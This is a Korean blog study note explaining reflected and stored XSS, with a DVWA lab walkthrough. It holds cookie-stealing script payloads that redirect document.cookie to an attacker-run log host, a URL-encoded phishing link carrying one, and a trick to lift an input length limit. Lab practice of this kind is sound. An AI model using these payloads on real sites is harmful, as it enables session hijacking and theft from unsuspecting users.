[웹해킹/6_XSS 공격]

주연쓰·2021년 7월 29일
0

웹해킹

목록 보기
19/23

1. XSS 공격 이란?

크로스 사이트 스크립팅 공격 (XSS 공격) 은 javascript와 같은 스크립트코드를, 취약한 웹 애플리케이션을 통해 클라이언트 쪽의 웹 브라우저를 공격하는 기법이다.

(1) Reflected XSS 공격 -반사하는 성질
사용자가 해커가 보낸 피싱 메일의 링크를 클릭하면, 스크립트 코드가 삽입된 요청이 웹 서버에 전송된다.
웹 애플리케이션은 스크립트 코드를 반사시켜 되돌려주고,
웹 브라우저가 스크립트를 실행하여 쿠키를 해커에게 보낸다.

(2) Stored XSS 공격 -바로 반사되는 것이 아니라 한번 저장되었다가 실행됨.
해커가 피싱을 하는 것이 아니라, 방명록 등에 글을 남겨 스크립트를 저장시킨다.
이후에 다른 사용자가 해커가 남긴 글을 읽고, 저장되어 있던 스크립트가 사용자에게 전달된다.
이제 스크립트 코드가 실행되어 쿠키가 해커에게 전달된다.

2. XSS 공격 실습 - Reflected XSS

(1) DVWA Security > DVWA Security Level ; low 로 실습

(2) XSS (Reflected) > 이름 입력

이름 입력하면, 아래에 Hello {이름} 형식으로 출력된다.

(2) XSS (Reflected) > <script> 코드 입력

이제 이름입력 칸에 <script> 코드를 입력해보자.
취약점이 있으면 입력한 <script> 코드가 실행된다.

<script>alert(1);</script>


아래와 같이 alert(1); 이 실행되는 것을 볼 수 있다.
따라서 XSS 공격에 성공한 것을 알 수 있다.

(3) XSS (Reflected) > 쿠키 받아오는 코드 입력

<script>alert(documnet.cookie)</script>

다음과 같이 쿠키가 출력된다.

(4) 쿠키를 해커가 관리하는 시스템으로 전송

> tail -f /opt/lampp/logs/access_log


현재 해커 호스트의 웹서버 로그가 출력됨.

<script>document.location='http://127.0.0.1/cookie?'+document.cookie</script>


위 코드를 웹에서 입력하면, 다음과 같이 왼쪽에 웹의 로그가 출력되며 쿠키가 해커에게 전달된다.

(5) 그러나 사용자가 직접 해커에게 쿠키를 전달하는 코드를 입력하지는 않으므로, 피싱을 통해 입력해야 함

입력칸에 love 를 입력했을 때, 주소가
http://localhost/dvwa/vulnerabilities/xss_r/?name=love
와 같이 name 뒤에 입력한 값이 들어가는 것을 알 수 있다.

이에 따라 피싱메일을 보내는데, 사용자가 클릭할 링크에서 name 뒤에 해커에게 쿠키를 보내는 코드로 하자.
http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>document.location%3D'http://127.0.0.1/cookie%3F'%2Bdocument.cookie</script>

(이때, 나는 메일이 작동하지 않아 클릭했다고 가정하고 링크를 직접 붙여녛어 보았다.)
다음과 같이, 쿠키가 해커에게 전송되며 피싱에 성공하였다.

위와 같이 피싱을 통해 XSS 공격을 해 사용자가 자신도 모르게 해커에게 쿠키를 제공하게 할 수 있다.

3. XSS 공격 실습 - Stored XSS

사용자에게 피싱을 통해서가 아닌, 해커가 직접 입력한 스크립트 코드가 웹에 저장되었다가 나중에 실행된다.

(1) DVWA Security > DVWA Security Level ; low 로 실습

(2) XSS (Stored) > 제목, 내용 입력

제목은 아무거나
내용에는 해커에게 쿠키를 전송하는 코드인

<script>document.location='http://127.0.0.1/cookie?'+document.cookie</script>

입력


그러나, 길이제한 때문에 코드가 잘리므로 길이제한을 늘려줘야 한다.

내용에서 마우스 우클릭 > Inspect > 해당 부분의 maxlength=500 으로 바꿔줌

이제 다시 입력하면 잘리는 부분없이 잘 입력된다.

전송

(3) 나갔다가 다시 XSS 들어가기

다시 root 터미널에서 tail -f /opt/lampp/logs/access_log 를 입력하여 쿠키를 받아오도록 한 상태에서, 나갔다가 다시 XSS(Stored) 페이지에 들어가게 되면 저장된 script 가 실행되면서 쿠키가 해커에게 전송된다.

(4) 한번 저장되면 XSS(Stored)에 들어갈 때 마다 쿠키가 전송되므로 Setup / Restart DB > Create / Restart Database 를 해준다.


초기화 완료

profile
( •̀ ω •́ )✧

0개의 댓글